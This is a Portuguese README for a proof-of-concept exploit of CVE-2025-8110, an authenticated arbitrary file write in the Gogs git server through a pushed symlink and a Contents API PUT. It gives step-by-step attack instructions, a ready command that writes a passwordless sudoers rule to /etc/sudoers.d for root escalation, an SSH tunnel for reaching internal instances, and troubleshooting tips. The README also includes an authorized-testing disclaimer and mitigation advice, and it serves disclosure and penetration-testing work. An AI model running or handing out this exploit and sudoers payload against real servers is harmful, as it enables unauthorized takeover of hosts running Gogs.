CVE-2025-8110 — Escrita Arbitrária de Arquivos no Gogs (PoC)

Prova de conceito para uma escrita arbitrária de arquivos autenticada no Gogs. Ao enviar (push) um repositório que contém um link simbólico apontando para fora do repositório e depois atualizar o conteúdo desse link por meio da API, um usuário autenticado pode sobrescrever arquivos no host com os privilégios da conta que executa o Gogs.

Somente testes autorizados e educação. Execute isto apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Você é responsável pelo uso que fizer.

Como funciona

1. Autentique-se no Gogs com uma conta existente.
2. Gere um token de aplicação (API) nas configurações do usuário.
3. Crie um repositório.
4. Adicione um link simbólico (malicious_link -> /path/on/host) e faça push.
5. Envie um PUT para a Contents API para atualizar malicious_link. O Gogs segue o link simbólico e grava o conteúdo fornecido no caminho de destino — com seus próprios privilégios. Se o Gogs for executado como root, esta é uma primitiva direta de escalonamento de privilégios (por exemplo, adicionando uma regra em /etc/sudoers.d/).

O PUT da API é o que realmente dispara a gravação; o push apenas coloca o link simbólico no lugar.

Requisitos

• Python 3.8+
• git disponível no PATH
• Uma conta Gogs existente (o registro pode estar desabilitado no alvo)

pip install -r requirements.txt

Uso

python3 exploit.py \
    -u http://127.0.0.1:3000 \
    --user <username> \
    --password '<password>' \
    --target /etc/sudoers.d/pwned \
    --payload '<username> ALL=(ALL) NOPASSWD: ALL'

Omita --password para que a senha seja solicitada com segurança em vez de passá-la na linha de comando.

Acessando uma instância interna do Gogs

O Gogs geralmente está vinculado a localhost no alvo. Use o encaminhamento de porta local via SSH para expô-lo à sua máquina (ajuste as portas conforme o alvo):

ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000

Verificando a gravação

Após uma execução bem-sucedida, verifique no host (como o usuário relevante):

cat /etc/sudoers.d/pwned
sudo -l

Se você gravou uma regra de sudoers, observe que os arquivos em /etc/sudoers.d/ devem ser válidos e ter permissões adequadas para que o sudo os considere.

Notas / solução de problemas

• auto_init retorna HTTP 500 — o script recorre à criação de um repositório vazio e o preenche com um git init + push local.
• Push rejeitado (non-fast-forward) — o script reconcilia com o remoto e tenta novamente; ele também lida com master vs main.
• Token CSRF não encontrado — normalmente significa que o alvo/porta está errado (você está acessando um serviço diferente) ou a sessão não está autenticada.

Mitigação

Atualize para uma versão do Gogs que valide links simbólicos na Contents API. Como defesa em profundidade, evite executar o Gogs como root e isole o armazenamento do repositório.

Licença

MIT — consulte LICENSE.